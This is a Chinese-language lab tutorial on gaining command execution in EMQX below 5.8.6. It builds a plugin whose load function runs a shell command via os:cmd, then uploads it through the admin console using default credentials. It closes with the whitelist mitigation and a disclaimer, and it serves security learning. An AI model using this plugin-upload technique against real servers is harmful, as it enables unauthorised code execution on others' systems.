EMQX(简称 EMQ)是一款完全开源、高度可伸缩且高可用的分布式 MQTT 消息服务器。它不仅支持 MQTT 协议,还支持其他 IoT 协议如 CoAP/LwM2M 等,广泛适用于物联网(IoT)、机器对机器(M2M)通信以及移动应用程序。
前置条件
要进行本次渗透测试,需要满足以下两个条件:
- 拥有EMQX后台的账号密码。
- 目标EMQX版本低于 5.8.6。
靶场环境搭建
我们使用 Docker 来快速部署一个 EMQX 测试环境。
docker pull emqx/emqx-enterprise:5.5.1
docker run -d --name emqx-enterprise -p 1883:1883 -p 8083:8083 -p 8084:8084 -p 8883:8883 -p 18083:18083 emqx/emqx-enterprise:5.5.1
容器运行后,访问 http://[你的IP]:18083 即可看到登录页面。

使用默认账号 admin 和密码 public 登录(如果提示需要修改密码,点击跳过即可)。登录后可以在管理后台左下角确认当前版本。

制作恶意插件
接下来,我们将在 Kali Linux 系统中编译一个包含恶意代码的 EMQX 插件。
1. 配置网络代理(如需要)
如果环境需要代理才能访问外网下载依赖,请设置以下环境变量:
export http_proxy=http://192.168.160.1:10809
export https_proxy=http://192.168.160.1:10809
2. 安装编译环境和依赖
sudo apt update
sudo apt install -y build-essential autoconf libncurses5-dev libssl-dev libwxgtk3.2-dev libgl1-mesa-dev libglu1-mesa-dev libpng-dev libssh-dev unixodbc-dev cmake
git clone https://github.com/asdf-vm/asdf.git ~/.asdf --branch v0.13.1
echo '. "$HOME/.asdf/asdf.sh"' >> ~/.bashrc
echo '. "$HOME/.asdf/completions/asdf.bash"' >> ~/.bashrc
source ~/.bashrc
asdf --version

3. 安装 Erlang 和 rebar3
asdf plugin-add erlang https://github.com/asdf-vm/asdf-erlang.git
asdf install erlang 25.3
asdf global erlang 25.3
wget https://s3.amazonaws.com/rebar3/rebar3
chmod +x rebar3
sudo mv rebar3 /usr/local/bin/
4. 创建插件模板
使用 rebar3 创建一个 EMQX 插件模板,命名为 my_emqx_plugin。
rebar3 new emqx-plugin my_emqx_plugin

5. 插入恶意代码
编辑插件的主模块文件,在 load 函数中插入系统命令执行代码。这里我们让插件在加载时,执行一条简单的命令作为验证。
vim my_emqx_plugin/src/my_emqx_plugin.erl
找到 load(Env) -> 这行,在其函数体内添加 os:cmd("echo POC > /tmp/poc.txt"),。这行代码会在插件加载时,在系统的 /tmp 目录下创建一个名为 poc.txt 的文件,并写入字符串 “POC”。

6. 编译插件并打包
进入插件目录进行编译,生成发布包。
make -C my_emqx_plugin rel

编译完成后,将生成的 .tar.gz 包复制到当前目录。
cp my_emqx_plugin/_build/default/emqx_plugrel/my_emqx_plugin-1.0.0.tar.gz .

执行恶意插件
现在,我们回到 EMQX 的管理后台,利用插件上传功能来执行我们的恶意代码。
-
进入后台的 “插件” 管理页面。

-
点击 “+ 安装插件”,将刚刚生成的 my_emqx_plugin-1.0.0.tar.gz 文件上传并启用。

-
插件启用后,其 load 函数中的代码便会立即执行。我们可以通过进入 EMQX 容器内部,查看 /tmp 目录来验证命令是否执行成功。

如图所示,/tmp/poc.txt 文件已被成功创建,内容为 “POC”,证明命令执行漏洞利用成功。
安全说明与高版本限制
TIPS:在 EMQX 5.8.6 及更高版本中,出于安全考虑,默认关闭了通过 Web 控制台直接安装任意插件的功能。在高版本中,如果需要安装某个插件,必须先在服务器上通过命令行执行白名单允许命令,例如:
emqx ctl plugins allow my_emqx_plugin
之后才能在后台进行安装。这有效缓解了此类攻击。如果你在后台安装插件时遇到 “403 FORBIDDEN” 错误,通常就是这个原因。

参考与免责声明
文章声明:本文所述方法、工具仅用于安全研究、学习与测试,旨在帮助开发者与运维人员了解潜在风险并加固其中间件系统。严禁将其用于任何非法入侵或破坏活动。使用者产生的任何不当行为与本文作者及发布平台无关。
希望这篇关于 EMQX 插件机制安全风险的深入分析能对你有所启发。安全之路,任重道远,欢迎在云栈社区与更多技术同仁交流探讨。